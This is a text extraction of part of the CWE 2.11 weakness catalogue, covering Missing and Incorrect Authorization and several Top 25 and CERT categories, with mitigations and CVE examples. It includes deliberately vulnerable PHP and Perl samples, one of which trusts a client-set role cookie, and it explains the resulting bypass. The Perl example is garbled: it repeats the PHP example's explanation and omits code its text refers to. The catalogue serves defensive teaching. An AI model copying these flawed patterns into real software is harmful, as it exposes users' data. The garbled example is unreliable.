<td>Acceptance of Extraneous Untrusted Data With Trusted Data</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>844</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☑</td>
<td>844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
<td>844</td>
</tr>
</tbody>
</table>

References

CWE-861: CERT Java Secure Coding Section 49 - Miscellaneous (MSC)

Category ID: 861 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to rules in the Miscellaneous (MSC) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>259</td>
<td>Use of Hard-coded Password</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>332</td>
<td>Insufficient Entropy in PRNG</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>333</td>
<td>Improper Handling of Insufficient Entropy in TRNG</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>336</td>
<td>Same Seed in PRNG</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>337</td>
<td>Predictable Seed in PRNG</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
<td>844</td>
</tr>
</tbody>
</table>
CWE-862: Missing Authorization

**Description**

**Summary**

The software does not perform an authorization check when an actor attempts to access a resource or perform an action.

**Extended Description**

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

**Alternate Terms**

AuthZ

"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**

- Language-independent

**Technology Classes**

- Web-Server *(Often)*
- Database-Server *(Often)*

**Modes of Introduction**

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

**Common Consequences**

References

CERT. "49. Miscellaneous (MSC)". <https://www.securecoding.cert.org/confluence/display/java/49.+Miscellaneous+MSC%29>.
Confidentiality
Read application data
Read files or directories
An attacker could read sensitive data, either by reading the data directly from a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to read the data.

Integrity
Modify application data
Modify files or directories
An attacker could modify sensitive data, either by writing the data directly to a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to write the data.

Access Control
Gain privileges / assume identity
Bypass protection mechanism
An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.

Likelihood of Exploit
High

Detection Methods
Automated Static Analysis
Limited
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software’s design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

Manual Analysis
Moderate
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Host Application Interface Scanner
    Fuzz Tester
    Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Focused Manual Spotcheck - Focused manual analysis of source
    Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Source code Weakness Analyzer
    Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
    Formal Methods / Correct-By-Construction

Demonstrative Examples
Example 1:
This function runs an arbitrary SQL query on a given database, returning the result of the query.

PHP Example:

```php
function runEmployeeQuery($dbName, $name) {
    mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
    //Use a prepared statement to avoid CWE-89
    $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
    $preparedStatement->execute(array(':name' => $name));
    return $preparedStatement->fetchAll();
}

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending
the query is authorized to do so. An attacker may be able to obtain sensitive employee information
from the database.

Example 2:
The following program could be part of a bulletin board system that allows users to send private
messages to each other. This program intends to authenticate the user before deciding whether
a private message should be displayed. Assume that LookupMessageObject() ensures that the
$id argument is numeric, constructs a filename based on that id, and reads the message details
from that file. Also assume that the program stores all private messages for all users in the same
directory.

Perl Example:

```perl
sub DisplayPrivateMessage {
    my($id) = @_; 
    my $Message = LookupMessageObject($id); 
    print "From: " . encodeHTML($Message->{from}) . "<br>";
    print "Subject: " . encodeHTML($Message->{subject}) . "<br>";
}

```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending
the query is authorized to do so. An attacker may be able to obtain sensitive employee information
from the database.
CWE Version 2.11
CWE-862: Missing Authorization

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1155</td>
<td>Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.</td>
</tr>
<tr>
<td>CVE-2005-2801</td>
<td>Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.</td>
</tr>
<tr>
<td>CVE-2005-3623</td>
<td>OS kernel does not check for a certain privilege before setting ACLs for files.</td>
</tr>
<tr>
<td>CVE-2006-6679</td>
<td>Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.</td>
</tr>
<tr>
<td>CVE-2007-2925</td>
<td>Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.</td>
</tr>
<tr>
<td>CVE-2008-3424</td>
<td>Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.</td>
</tr>
<tr>
<td>CVE-2008-4577</td>
<td>ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.</td>
</tr>
<tr>
<td>CVE-2008-5027</td>
<td>System monitoring software allows users to bypass authorization by creating custom forms.</td>
</tr>
<tr>
<td>CVE-2008-6123</td>
<td>Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.</td>
</tr>
<tr>
<td>CVE-2008-6548</td>
<td>Product does not check the ACL of a page accessed using an &quot;include&quot; directive, allowing attackers to read unauthorized files.</td>
</tr>
<tr>
<td>CVE-2008-7109</td>
<td>Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.</td>
</tr>
<tr>
<td>CVE-2009-0034</td>
<td>Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.</td>
</tr>
<tr>
<td>CVE-2009-2213</td>
<td>Gateway uses default &quot;Allow&quot; configuration for its authorization settings.</td>
</tr>
<tr>
<td>CVE-2009-2282</td>
<td>Terminal server does not check authorization for guest access.</td>
</tr>
<tr>
<td>CVE-2009-2960</td>
<td>Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.</td>
</tr>
<tr>
<td>CVE-2009-3168</td>
<td>Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.</td>
</tr>
<tr>
<td>CVE-2009-3230</td>
<td>Database server does not use appropriate privileges for certain sensitive operations.</td>
</tr>
<tr>
<td>CVE-2009-3597</td>
<td>Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.</td>
</tr>
<tr>
<td>CVE-2009-3781</td>
<td>Content management system does not check access permissions for private files, allowing others to view those files.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [R.862.1] to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [R.862.2].

Library or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [R.862.5] and the OWASP ESAPI Access Control feature [R.862.4].

Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

System Configuration

Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>References</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>285</td>
<td>Improper Authorization</td>
<td>699, 1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>813</td>
<td>OWASP Top Ten 2010 Category A4 - Insecure Direct Object Access References</td>
<td>809, 1250</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>817</td>
<td>OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access</td>
<td>809, 1251</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>866</td>
<td>2011 Top 25 - Porous Defenses</td>
<td>900, 1313</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>425</td>
<td>Direct Request ('Forced Browsing')</td>
<td>699, 1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>638</td>
<td>Not Using Complete Mediation</td>
<td>1000, 988</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>639</td>
<td>Authorization Bypass Through User-Controlled Key</td>
<td>699, 1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884, 1323</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>939</td>
<td>Improper Authorization in Handler for Custom URL Scheme</td>
<td>699, 1366</td>
</tr>
</tbody>
</table>

References

NIST. "Role Based Access Control and Role Based Security". <http://csrc.nist.gov/groups/SNS/rbac/>. 
CWE Version 2.11
CWE-863: Incorrect Authorization


CWE-863: Incorrect Authorization

<table>
<thead>
<tr>
<th>Weakness ID: 863 (Weakness Class)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

**Description**

**Summary**
The software performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions.

**Extended Description**
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

**Alternate Terms**
**AuthZ**
"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- Language-independent

**Technology Classes**
- Web-Server (*Often*)
- Database-Server (*Often*)

**Modes of Introduction**
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

**Common Consequences**
CWE Version 2.11
CWE-863: Incorrect Authorization

Confidentiality
Read application data
Read files or directories
An attacker could read sensitive data, either by reading the data directly from a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.

Integrity
Modify application data
Modify files or directories
An attacker could modify sensitive data, either by writing the data directly to a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.

Access Control
Gain privileges / assume identity
Bypass protection mechanism
An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.

Likelihood of Exploit
High

Detection Methods
Automated Static Analysis
Limited
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. Even if they can be customized to recognize these schemes, they might not be able to tell whether the scheme correctly performs the authorization in a way that cannot be bypassed or subverted by an attacker.

Automated Dynamic Analysis
Automated dynamic analysis may not be able to find interfaces that are protected by authorization checks, even if those checks contain weaknesses.

Manual Analysis
Moderate
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Web Application Scanner
  Web Services Scanner
  Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Host Application Interface Scanner
  Fuzz Tester
  Framework-based Fuzzer
  Forced Path Execution
  Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Focused Manual Spotcheck - Focused manual analysis of source
  Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.

PHP Example:

```php
 $role = $_COOKIES['role'];
 if (!$role) {
   $role = getRole('user');
   if ($role) {
     // save the cookie to send out in future responses
     setcookie("role", $role, time()+60*60*2);
   } else{
     ShowLoginScreen();
     die("err");
   }
 } else{
   // ... code...
   if ($role == 'Reader') {
     DisplayMedicalHistory($_POST['patient_ID']);
   } else{
     // ... code...
   }
 ```
The programmer expects that the cookie will only be set when `getRole()` succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the $role variable is "Reader", and `getRole()` is never invoked. The attacker has bypassed the authorization system.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1155</td>
<td>Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.</td>
</tr>
<tr>
<td>CVE-2005-2801</td>
<td>Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.</td>
</tr>
<tr>
<td>CVE-2006-6679</td>
<td>Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.</td>
</tr>
<tr>
<td>CVE-2008-3424</td>
<td>Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.</td>
</tr>
<tr>
<td>CVE-2008-4577</td>
<td>ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.</td>
</tr>
<tr>
<td>CVE-2008-6123</td>
<td>Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.</td>
</tr>
<tr>
<td>CVE-2008-7109</td>
<td>Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.</td>
</tr>
<tr>
<td>CVE-2009-0034</td>
<td>Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.</td>
</tr>
<tr>
<td>CVE-2009-2213</td>
<td>Gateway uses default &quot;Allow&quot; configuration for its authorization settings.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

#### Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

#### Architecture and Design

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework and the OWASP ESAPI Access Control feature.

#### Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
System Configuration
Installation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Background Details
An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specific permissions to that object.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>285</td>
<td>Improper Authorization</td>
<td>699</td>
<td>502</td>
</tr>
<tr>
<td></td>
<td>C</td>
<td>813</td>
<td>OWASP Top Ten 2010 Category A4 - Insecure Direct Object References</td>
<td>809</td>
<td>1250</td>
</tr>
<tr>
<td></td>
<td>C</td>
<td>817</td>
<td>OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access</td>
<td>809</td>
<td>1251</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>866</td>
<td>2011 Top 25 - Porous Defenses</td>
<td>900</td>
<td>1313</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>551</td>
<td>Incorrect Behavior Order: Authorization Before Parsing and Canonicalization</td>
<td>699</td>
<td>891</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>647</td>
<td>Use of Non-Canonical URL Paths for Authorization Decisions</td>
<td>699</td>
<td>1004</td>
</tr>
<tr>
<td></td>
<td></td>
<td>804</td>
<td>Guessable CAPTCHA</td>
<td>699</td>
<td>1233</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>

References
NIST. "Role Based Access Control and Role Based Security". <http://csrc.nist.gov/groups/SNS/rbac/>.

CWE-864: 2011 Top 25 - Insecure Interaction Between Components

Category ID: 864 (Category) Status: Incomplete

Description

Summary
Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

Relationships
### CWE-865: 2011 Top 25 - Risky Resource Management

**Category ID:** 865 (Category)  
**Status:** Incomplete

#### Description

**Summary**

Weaknesses in this category are listed in the "Risky Resource Management" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>900</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>900</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>900</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>900</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
<td>900</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect')</td>
<td>900</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
<td>900</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>900</td>
<td>Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors</td>
<td>900</td>
</tr>
</tbody>
</table>

#### References


---

### CWE-866: 2011 Top 25 - Porous Defenses

**Category ID:** 866 (Category)  
**Status:** Incomplete

#### Description

**Summary**

Weaknesses in this category are listed in the "Porous Defenses" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>250</td>
<td>Execution with Unnecessary Privileges</td>
<td>900</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>306</td>
<td>Missing Authentication for Critical Function</td>
<td>900</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>307</td>
<td>Improper Restriction of Excessive Authentication Attempts</td>
<td>900</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>900</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
<td>900</td>
</tr>
</tbody>
</table>

#### References


---

1313
CWE Version 2.11
CWE-867: 2011 Top 25 - Weaknesses On the Cusp

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>900  1124</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>759</td>
<td>Use of a One-Way Hash without a Salt</td>
<td>900  1156</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
<td>900  1223</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
<td>900  1243</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>862</td>
<td>Missing Authorization</td>
<td>900  1303</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>863</td>
<td>Incorrect Authorization</td>
<td>900  1308</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>900</td>
<td>Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors</td>
<td>900  1331</td>
<td></td>
</tr>
</tbody>
</table>

References

CWE-868: Weaknesses Addressed by the CERT C++ Secure Coding Standard

View ID: 868 (View: Graph)
Status: Incomplete

Objective
CWE entries in this view (graph) are fully or partially eliminated by following the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this view is incomplete.

View Data
View Metrics

<table>
<thead>
<tr>
<th></th>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Views</td>
<td>0</td>
<td>33</td>
</tr>
<tr>
<td>Categories</td>
<td>16</td>
<td>245</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>93</td>
<td>720</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>2</td>
<td>8</td>
</tr>
</tbody>
</table>

View Audience

Developers

By following the CERT C++ Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Software Customers

If a software developer claims to be following the CERT C++ Secure Coding Standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>C</td>
<td>869</td>
<td>CERT C++ Secure Coding Section 01 - Preprocessor (PRE)</td>
<td>1316</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>870</td>
<td>CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)</td>
<td>1316</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>871</td>
<td>CERT C++ Secure Coding Section 03 - Expressions (EXP)</td>
<td>1316</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>872</td>
<td>CERT C++ Secure Coding Section 04 - Integers (INT)</td>
<td>1317</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>873</td>
<td>CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)</td>
<td>1317</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>874</td>
<td>CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)</td>
<td>1317</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>875</td>
<td>CERT C++ Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>1318</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>1318</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>1319</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>878</td>
<td>CERT C++ Secure Coding Section 10 - Environment (ENV)</td>
<td>1320</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>879</td>
<td>CERT C++ Secure Coding Section 11 - Signals (SIG)</td>
<td>1321</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>880</td>
<td>CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)</td>
<td>1321</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>881</td>
<td>CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)</td>
<td>1322</td>
</tr>
<tr>
